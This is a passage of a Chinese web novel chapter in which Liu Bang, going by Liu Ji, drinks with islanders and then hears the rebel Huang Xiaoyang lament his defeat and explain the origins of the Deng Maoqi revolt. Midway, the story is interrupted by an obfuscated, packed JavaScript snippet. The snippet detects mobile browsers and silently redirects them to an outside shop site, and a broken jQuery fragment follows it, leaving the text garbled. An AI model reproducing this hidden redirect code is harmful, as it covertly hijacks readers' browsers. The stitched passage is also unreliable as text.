岛上的生活既枯燥又乏味,除非是常年生活在海上的渔民,不然很难适应这里的生活。
但让黄萧养诧异的是,刘季却乐在其中,甚至比他这个土生土长的本地人还要如鱼得水。
只是几天的工夫,竟然和岛上的大部分人打成一片。
深夜,他被喧闹声吵醒,本以为是官军杀上来了,冲出屋后却发现是刘季在和岛民们开宴会,载歌载舞喜气洋洋,热闹的仿佛过年一般,看得他哭笑不得。
但刘季的举动,也让他放下了最后一丝戒心。
因为有叶宗留邓茂七等人的前车之鉴在,他清楚明军对反叛者没有半点怜悯之心,只有斩草除根。
如果刘季真的是官军的探子,绝不会坐下来和寨子中的老者饮酒作乐,更不会因为几句夸赞的话便把身上银钱全部扔给寨中的孩童。
何况他并不认为,有人能驱使刘季这样的人物。
要不是因为他现在都自身难保,他都准备和刘季平起平坐,共商大事......只恨相见晚啊!
此时,刘邦在众人的环绕下坐在高处,大口喝着酒,笑容满面。
“刘大哥!”几个孩子焦急催促道:“你快往下说啊!
那汉王是怎么从鸿门宴上跑了的啊?”
“还能怎么跑?”刘邦斜了他一眼,哈哈大笑道:“找了个借口上茅房,说跑不就跑了!”
“啊?!”
几个孩子的脸立刻拉了下去,其中一人不满道:“你骗人!
怎么可能就那么跑了!
照你说的,汉王又聪明打仗又厉害,手下还有张良樊哙,不应该直接从乱军中杀出去么?
找借口上茅房逃跑,算什么英雄!”
“毛都没长齐的娃娃懂个蛋!”刘邦笑骂道:“大丈夫能屈能伸,敢忍就忍该让就让,为了一时之意气把命搭上,那是蠢货!
汉王当时要是不那么做,后来他当不了皇帝!”
“皇帝啊!”众人齐齐发出羡慕的低呼声,另一名小孩羡慕道:“刘大哥,你见多识广,你和俺说说,皇帝每天是不是有吃不完的糖?”
“吃个蛋的糖!”一名明显是孩子长辈的汉子一脚将小孩崩到一边,没好气道:“大人说话,小孩少插嘴!”
说罢,他扭头看向刘邦,用男人都懂的眼神朝刘邦使了个眼色,咧嘴笑道:“刘老弟,你和哥说说,皇帝是不是真的有三千多个漂亮媳妇,一天一个都忙不过来的那种?”
听到这话,在场的汉子都发出粗豪的笑声,妇人们则是啐了一口,连扇带赶的将好奇的孩子们撵到了一边。
坐在刘邦身边的几位老者却连连摇头,其中一人喝道:“黄二狗,你小子脑子里除了娘们没别的东西了是么?
就你那好吃懒做的样子,还想找媳妇?
要我说,你们家非得因为你断了后不可!”
老叔公发话,众人笑的更大声了,黄二狗也不敢争辩,臊臊的坐了回去。
刘邦跟着笑了两声,正准备继续喝酒,突然听那名老者轻声问道:“后生,老夫其实也想问问。
那皇帝家里的田是不是都多得种不过来啊?”
刘邦想了想,直接道:“有是有,但没您说的那么多。”
“那皇帝家的人可多?”
“那确实多。”刘邦笑道:“大大小小的亲戚仆役加起来,估计得有上万人。”
“这么多!”老者倒吸一口冷气,“那得吃多少粮食啊!
难怪皇帝自己家种的都不够吃,还要从我们手上要。
几万人,就算一家只生一个娃,那十几年后也得十好几万人了。
可...可这地就这么多,皇帝都吃完了,我们吃什么啊?”
刘邦举酒杯的手一顿,扭头看向满脸担忧的老者,一时间竟不知道该如何回答。
就在这时,黄萧养的声音在刘邦身后响起,“三叔公,刘季兄弟又不是皇帝,您问这问题不是为难他么?”
刘邦回过头,只见黄萧养朝他扬了扬手中的酒壶,微笑道:“一起喝点?”
......
海边。
皎洁的月光让海浪声都变得轻柔舒缓起来,银白色的微浪缓缓起伏,轻轻撞碎在礁石上。
刘邦和黄萧养坐在礁石上,看着一望无际的海面,默默无言。
等到壶中的酒喝干了,黄萧养脸上浮现出几抹醉意,才开口笑道;“刘兄弟,我是真羡慕你啊。”
“羡慕我?”刘邦疑惑道。
“我要有你这份和人打交道的能力,何至于此啊!”黄萧养长叹一声,顺势躺在礁石上,惆怅道:“想我半生,一事无成。
靠一股意气起事,现在又变成这副模样!
我...我愧对乡亲父老啊。”
这些日子送来战报,已经让他认清了现实。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14008724|148556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
之前的顺遂,不过全是水中月罢了。
他们所见到的大明,不过是冰山一角。
当大明真正准备出手对付他时,他根本没有还手之力,最终的下场只有败亡。
可如今他是骑虎难下,后悔都晚了。
一想到大明严苛的刑罚,一想到被他牵连的乡亲父老
,他再也压抑不住内心的情绪,借着醉意,低声抽噎起来。
“前线战事不利?”刘邦轻声问道。
“溃败。”黄萧养只说了这个两个字,嘴唇就止不住的开始颤抖,良久才平复心情,继续道:“我已经打听清楚了,那伙人是京城来的精锐。
听说是京城的某位将军亲自出征。
刘老弟,老哥我这回,是真的死无葬身之地了!
我死倒无所谓,就是可怜了助我起事的那些乡亲,那些......”
说到这,黄萧养泪如泉涌,难以自制,竟再不能多说一个字。
“现在投降,说不定还能落得个从轻发落。”刘邦变魔术般,从怀中摸出两壶宴席上偷带出的酒,给黄萧养扔了一壶过去,“皇帝也是人,应该能讲些道理。”
“讲道理?!”黄萧养像是被踩中尾巴的猫,尖声道:“皇帝会讲道理,那邓茂七他们是怎么死的?
陈山寨,听说过没有?
上下几百口,寸草不留!
投降?投降只会死的更快!”
刘邦目光一凝,扭头看着一口气喝下大半壶酒的黄萧养,轻声道;“这我还真有所不知。
还请老哥给我好好讲讲。”
“讲讲?有什么好讲的。”黄萧养打了个酒嗝,醉醺醺道:“我手下有当年在邓茂七他们手下做过事的人。
据他们说,朝廷突然增收坑冶之课,原本一年只要几千两,后来突然要收几万两。
那山又不是银子做的,哪那么容易炼出银子来。
但税课司催的紧,三天两头派人下来要钱,交不上就从矿工家里拿。
大家被逼得没办法,只能不干了。
但矿工不采矿,没饭吃,叶宗留他们便带了一伙人,进山偷偷采矿。
大明不又让私下采矿,派兵来剿,一来二去,索性反了他娘的......”
刘邦闻言面无表情,缓缓喝了一口酒,沉声问道:“那...你呢?
我很想知道,老哥你是因为什么才造的反?”